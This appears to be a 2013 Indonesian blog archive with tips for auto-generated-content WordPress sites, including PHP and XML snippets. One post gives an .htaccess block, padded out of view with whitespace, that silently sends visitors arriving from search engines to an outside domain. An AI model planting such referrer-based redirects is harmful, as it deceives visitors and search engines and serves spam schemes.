Tuesday, January 29, 2013

optimasi server untuk agc

biar agc meng-query hanya dari fungsi agc nya aja, maka buang fungsi search di postingannya, hasilnya server gag terlalu berat. ikuti aja gambar diatas. itu file di wp-include=>query.php

Saturday, January 26, 2013

htacces to new site search engine refferer with same query

htaccess generator follow here : http://fadilla.com/a/

and this is code for redirect traffic from search engine. it will keep the search query.

# BEGIN WordPress
<IfModule mod_rewrite.c>
RewriteEngine On

RewriteCond %{HTTP_REFERER} ^.*(google|ask|yahoo|baidu|youtube|wikipedia|qq|excite|altavista|msn|netscape|aol|hotbot|goto|infoseek|mamma|alltheweb|lycos|search|metacrawler|bing|dogpile|facebook|twitter|blog|live|myspace|mail|yandex|rambler|ya|aport|linkedin|flickr|nigma|liveinternet|vkontakte|webalta|filesearch|yell|openstat|metabot|nol9|zoneru|km|gigablast|entireweb|amfibi|dmoz|yippy|search|walhello|webcrawler|jayde|findwhat|teoma|euroseek|wisenut|about|thunderstone|ixquick|terra|lookle|metaeureka|searchspot|slider|topseven|allthesites|libero|clickey|galaxy|brainysearch|pocketflier|verygoodsearch|bellnet|freenet|fireball|flemiro|suchbot|acoon|cyber-content|devaro|fastbot|netzindex|abacho|allesklar|suchnase|schnellsuche|sharelook|sucharchiv|suchbiene|suchmaschine|web-archiv)\.(.*)                                                                                                                       
                                                                                                                        RewriteRule ^(.*)$ http://tradednow.info/tags/$1/ [R=301,L]                                                                                                                       
                                                                                                                        RewriteCond %{HTTP_REFERER} ^.*(web|websuche|witch|wolong|oekoportal|t-online|freenet|arcor|alexana|tiscali|kataweb|orange|voila|sfr|startpagina|kpnvandaag|ilse|wanadoo|telfort|hispavista|passagen|spray|eniro|telia|bluewin|sympatico|nlsearch|atsearch|klammeraffe|sharelook|suchknecht|ebay|abizdirectory|alltheuk|bhanvad|daffodil|click4choice|exalead|findelio|gasta|gimpsy|globalsearchdirectory|hotfrog|jobrapido|kingdomseek|mojeek|searchers|simplyhired|splut|the-arena|thisisouryear|ukkey|uwe|friendsreunited|jaan|qp|rtl|search-belgium|apollo7|bricabrac|findloo|kobala|limier|express|bestireland|browseireland|finditireland|iesearch|ireland-information|kompass|startsiden|confex|finnalle|gulesider|keyweb|finnfirma|kvasir|savio|sol|startsiden|allpages|america|botw|chapu|claymont|clickz|clush|ehow|findhow|icq|goo|westaustraliaonline)\.(.*)                                                                                                                       
                                                                                                                        RewriteRule ^(.*)$ http://tradednow.info/tags/$1/ [R=301,L]   


RewriteBase /
RewriteRule ^index\.php$ - [L]
RewriteCond %{REQUEST_FILENAME} !-f
RewriteCond %{REQUEST_FILENAME} !-d
RewriteRule . /index.php [L]
</IfModule>

# END WordPress

Friday, January 25, 2013

cara merubah search parameter di wordpress

taruh kode ini di function.php
// Add this code to your functions.php file in your active theme folder
 
  1. // Allow WordPress to access "search" in the query string
  2. function ds_whitelist_new_search_parameter( $allowed_query_vars ) {
  3.  $allowed_query_vars[] = 'search';
  4.  return $allowed_query_vars;
  5. }
  6. add_filter('query_vars', 'ds_whitelist_new_search_parameter' );
  7.  
  8.  
  9. // populate s parameter with value of search
  10. function ds_swap_search_parameter($query_string) {
  11.  
  12.  $query_string_array = array();
  13.  
  14.  // convert the query string to an array
  15.  parse_str($query_string, $query_string_array);
  16.  
  17.  // if "search" is in the query string
  18.  if(isset($query_string_array['search'])){
  19.   $query_string_array['s'] = $query_string_array['search']; // replace "s" with value of "search"
  20.   unset($query_string_array['search']); // delete "search" from query string
  21.  }
  22.  
  23.  return http_build_query($query_string_array, '', '&'); // Return our modified query variables
  24. }
  25. add_filter('query_string', 'ds_swap_search_parameter');

Thursday, January 24, 2013

membuat redirect keyword search

dapet coding dari developer untuk replace keyword buat amunisi abc:
<CustomSearchEngine>
  <Title>Universities</Title>
  <Context>
    <Facet>
      <FacetItem title="Papers">
        <Label name="papers" mode="FILTER"/>
        <Redirect url="http://scholar.google.com/scholar?q=$q"/>
      </FacetItem>
    </Facet>
  </Context>
</CustomSearchEngine>